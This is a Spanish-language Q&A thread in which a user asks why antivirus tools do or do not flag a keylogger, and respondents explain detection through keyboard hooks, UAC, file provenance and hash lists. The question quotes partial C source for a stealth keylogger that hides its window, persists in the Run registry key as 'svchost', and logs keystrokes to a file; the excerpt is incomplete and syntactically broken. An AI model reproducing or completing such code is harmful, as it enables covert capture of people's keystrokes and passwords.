¿Cómo se detecta algo tan simple como un keylogger en una computadora?

15

Encontré uno en línea, que quería probar en mi casa y ver si realmente funcionaba. Está escrito en C, y no es muy grande considerando que la mitad es solo un montón de casos para los que se presiona una tecla, por ejemplo:

case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;

y también hace un poco con el registro, como

reg_key=RegOpenKeyEx    (HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,KEY_QUERY_VALUE,&hKey);

Mi computadora con Windows 7 tomará esto como 'Software potencialmente dañino', mientras que mi computadora XP en la escuela con Symantec Endpoint Protection no ... Al ser software corporativo, pensé que Symantec lo tomaría en un abrir y cerrar de ojos pero no lo hizo. ..

Entonces, mi pregunta es, ¿qué establece este programa como 'Software potencialmente dañino'? ¿Es la modificación / uso del registro o algún otro factor que generalmente atrapa a un keylogger?

Nota: hay más en el programa, pero es bastante largo, así que edité algunas de las piezas repetitivas. Sin embargo, aquí está la mayoría del keylogger, pero dejé de lado algunas declaraciones (if-else y switch) que prácticamente solo escribieron los datos en la memoria.

    #include <windows.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);

   int test,create;
   test=test_key();/*check if key is available for opening*/

   if (test==2)/*create key*/
   {
       char *path="c:\%windir%\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);

   }


   int t=get_keys();

   return t;
}  

int get_keys(void)
{
           short character;
             while(1)
             {
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  

                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;    

      A lot of switch statements left out for brevity
      I left out a lot of if-elses as well, all they did was write the
      data to the file.

           }
           return EXIT_SUCCESS;                            
}                                                

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;

   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {    
       check=1;
       return check;
   }        

   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;

   RegCloseKey(hKey);
   return check;  
}

int create_key(char *path)
{  
       int reg_key,check;

       HKEY hkey;

       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;

       return check;
}
    
pregunta cutrightjm 17.02.2012 - 14:19
fuente

5 respuestas

12

Para entender por qué ciertos programas (maliciosos y no maliciosos) están marcados por el software Anti-Virus, debemos entender algunos de los principios básicos que utiliza el software Anti-Virus.

Acceso a recursos no autorizados

El gancho del teclado

Como han sugerido otros, el gancho del teclado es una de las primeras formas en que se detecta un keylogger primitivo. Si no es un programador, puede confundirse entre la entrada del usuario y los ganchos del teclado. Un gancho de teclado lee todo el tráfico del usuario i / p a través del (digamos microsoft message channel). La mayoría de los programas solo requieren escuchar i / p dirigido a ellos, no todos los programas de SO. Generalmente se usa un identificador de ventana para especificar qué i / p va a dónde. Sin embargo, la razón por la que el antivirus no detectó esto se debe a dos posibles motivos:

  • Aunque los enganches del teclado no son de uso general del programa, programas como macros, ciertos juegos, etc. requieren filtrar la entrada del usuario antes de que llegue a cualquier programa. Para tales programas es posible sobrepasar la bandera de seguridad.
  • El Anti-Virus no es en tiempo real o no se ha configurado en un nivel de alerta para notificar al usuario de esa PC inmediatamente. Podría tener esa alerta inhabilitada o pedirle que la registre en la memoria.

Lea más: enlace

Registro Windows ha adoptado recientemente un enfoque similar a Linux (sin la contraseña, es decir:. P) hacia la seguridad, en el que el uso no autorizado de recursos o la ejecución de programas provoca una ventana emergente de seguridad que suspende otros procesos y solo puede ser descartada por la intervención directa del usuario. Esta función, UAC (Control de cuentas de usuario) es la responsable de detectar su keylogger inicialmente como un nuevo software no autorizado. Usando el gancho para teclado, ejecutando sin formularios abiertos y ocultos en el fondo, todo se agrega a esto.

El fallo principal

Creación de archivos Muchas soluciones antivirus almacenan una lista de todos los archivos que tiene en su PC, cada vez que se crea un nuevo archivo, su origen se remonta. Si esto no se comprueba, aparece un indicador de seguridad. Esta función se usa junto con las exploraciones en tiempo real, por lo que la extracción de contenido de un archivo zip, en los AV modernos de hoy en día, provoca una búsqueda inmediata de los archivos recién encontrados.

Lista blanca & Lista negra Los AV almacenan miles de millones de hashes de archivos de programa para identificar una modificación simple de incluso un byte de una DLL de Windows. También almacenan todos los programas conocidos y documentados en el mundo para clasificarlos mejor de los otros malvados.

En última instancia, el hecho de que su AV no hizo lo siguiente es la principal causa de preocupación:

  1. Detectar la ejecución de un programa desconocido.
  2. Este programa no detecta el acceso al registro ni a los ganchos del teclado.
  3. No marca la creación de archivos sin el consentimiento del usuario por el programa desconocido.
  4. No se alarme cuando este programa intentó enviar estos datos sin cifrar a través de la red al atacante. (esta es la última postura en la que se podría evitar una fuga de datos)

Nota: como indica otra respuesta, el .exe se originó en otra computadora y también causó una alerta de seguridad en una máquina con Win 7, etc.

    
respondido por el Rohan Durve 08.07.2012 - 05:41
fuente
12

En mi experiencia, la mayoría de las soluciones anti virus / malware no se quejan de los ganchos de teclado de bajo nivel, que son la forma más fácil de crear un registrador de teclas.

Uno de mis programas más populares contenía un gancho de teclado de este tipo, y solo un usuario me dijo que su firewall se quejaba. Por otro lado, varios otros módulos del mismo, que eran bastante inofensivos, desencadenaron varios falsos positivos.

No sé por qué no consideran maliciosos los enganches de teclado de bajo nivel. Una posible razón podría ser que las personas incompetentes programadores que no saben mejor abusan de ellas para obtener teclas de acceso rápido globales, en lugar de utilizar las API de teclas de acceso rápido.

Se detectan comúnmente ganchos globales de teclado que resultan en la inyección de dll en eventos de teclado.

    
respondido por el CodesInChaos 17.02.2012 - 14:43
fuente
5

En este caso, el hecho de que esté leyendo las teclas y almacenándolas será lo que marcó este. Por lo general, eso no debería ser necesario para nada, por lo que debería usarse como activador.

Sin embargo, como dice @CodeInChaos, esto a menudo no se detecta, lo que parece ser un descuido masivo.

    
respondido por el Rory Alsop 17.02.2012 - 14:46
fuente
3

Un comentario que hiciste me dejó confundido. Le pregunté si descargó el exe y dijo que no lo hizo, sin embargo, su pregunta dice que descargó en su casa y recibió el mensaje. Para ese ejemplo, creo que el exe fue marcado por inseguro, lo que Windows hace automáticamente. Si hace clic con el botón derecho en las propiedades en la parte inferior de la pestaña general, habrá algo que dice que este archivo proviene de una computadora diferente con un botón de desbloqueo.

Es posible que Windows XP no tenga esa funcionalidad, por lo que no se detectó.

    
respondido por el user5575 09.07.2012 - 04:22
fuente
0

El hecho es que la protección antivirus que se ofrece actualmente no es suficiente. La mayoría de las compañías antivirus no tienen capacidades heurísticas avanzadas (algunas no las tienen). "Casi todos ellos dependen de la suma de comprobación MD5 de un archivo en particular para marcarlo como un virus, este método funciona en todos los grandes (siempre que no sean polimórficos) pero no logra capturar a los más pequeños, menos conocidos". malware ".

Siento que probablemente no lo detectó porque no tenía la suma de comprobación de ese archivo

    
respondido por el Kush 13.07.2012 - 23:10
fuente

Lea otras preguntas en las etiquetas